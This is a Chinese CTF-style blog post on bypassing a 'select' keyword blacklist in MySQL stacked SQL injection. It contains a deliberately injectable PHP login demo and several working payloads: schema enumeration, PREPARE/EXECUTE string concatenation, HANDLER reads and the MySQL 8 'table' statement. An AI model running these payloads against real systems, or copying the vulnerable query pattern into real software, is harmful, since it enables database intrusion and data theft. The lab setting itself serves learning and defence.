AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

SQL注入绕过select过滤

2021-02-01 CTF Web安全
Word count: 835 | Reading time: 4min
  • 条件:支持堆叠注入
  • demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    <html>
    <head>
    <title>Sql注入演示</title>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    </head>

    <body >
    <form action="" method="post">
    <fieldset >
    <legend>Login Me</legend>
    <table>
    <tr>
    <td>用户名:</td>
    <td><input type="text" name="username"></td>
    </tr>
    <tr>
    <td>密  码:</td>
    <td><input type="text" name="password"></td>
    </tr>
    <tr>
    <td><input type="submit" value="提交"></td>
    <td><input type="reset" value="重置"></td>
    </tr>
    </table>
    </fieldset>
    </form>
    </body>
    </html>

    <?php
    error_reporting(0);
    function check($v)
    {
    if(preg_match("/select|update|delete|drop|insert|where|\./i", $v))
    {
    die("Hacking!!!");
    }
    }

    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $userinfo = array();
    check($username);
    if($username){
    //使用mysqli驱动连接demo数据库
    $mysqli = new mysqli("localhost", "root", "root", 'tt');
    $sql = "SELECT * FROM users WHERE username='{$username}'";
    //mysqli multi_query 支持执行多条MySQL语句
    $query = $mysqli->multi_query($sql);

    if($query){
    do {
    /* store first result set */
    if ($result = $mysqli->store_result()) {
    while ($row = $result->fetch_row()) {
    var_dump($row);
    }
    $result->free();
    }
    } while ($mysqli->next_result());
    }
    }
    ?>

    <!-- create database tt;
    use tt;
    CREATE TABLE IF NOT EXISTS `users`(
    `id` INT UNSIGNED AUTO_INCREMENT,
    `username` VARCHAR(20) NOT NULL,
    `password` VARCHAR(20) NOT NULL,
    PRIMARY KEY ( `id` )
    );
    insert into users(username,password) values ('admin','Admin_AMao');
    create database flag;
    use flag;
    CREATE TABLE IF NOT EXISTS `fl44g`(
    `flag` VARCHAR(20) NOT NULL
    );
    insert into fl44g (flag) values('flag{HillStone}'); -->

注入过程

  • 查询数据库

    1
    username=-1';show databases#&password=admin
  • 查询表名

    1
    username=-1';use tt;show tables#&password=admin
  • 查询字段名

    1
    username=-1';show columns from users#&password=admin

预编译绕过

1
username=-1';set @sql=concat('s','elect username from `users`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#&password=admin

handler 查询

handler 语句能够实现一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。

它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

  • 语法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    HANDLER tbl_name OPEN [ [AS] alias]

    HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

    HANDLER tbl_name CLOSE

    通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
    通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    通过HANDLER tbl_name CLOSE来关闭打开的句柄。

    FIRST 第一行

    NEXT 下一行

    PREV 前一行

    LAST 最后一行

1
username=a';use tt;handler users open;handler users read first;handler users read next;#&password=admin

table

版本 > 8.0.19

  • 环境搭建

    1
    2
    docker pull mysql:8.0.22
    docker run -itd -p 13306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:8.0.22
    • 修改认证方式

      1
      ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root';
    • 修改脚本

      1
      $mysqli = new mysqli("192.168.1.128", "root", "root", 'tt','13306');
1
username=a';table users;;#&password=admin

参考

https://xz.aliyun.com/t/8646

声明

  1. 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
  2. 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
NextPost >
纵横杯2020 wp
CATALOG
  1. 1. 注入过程
  2. 2. 预编译绕过
  3. 3. handler 查询
  4. 4. table
  5. 5. 参考
  6. 6. 声明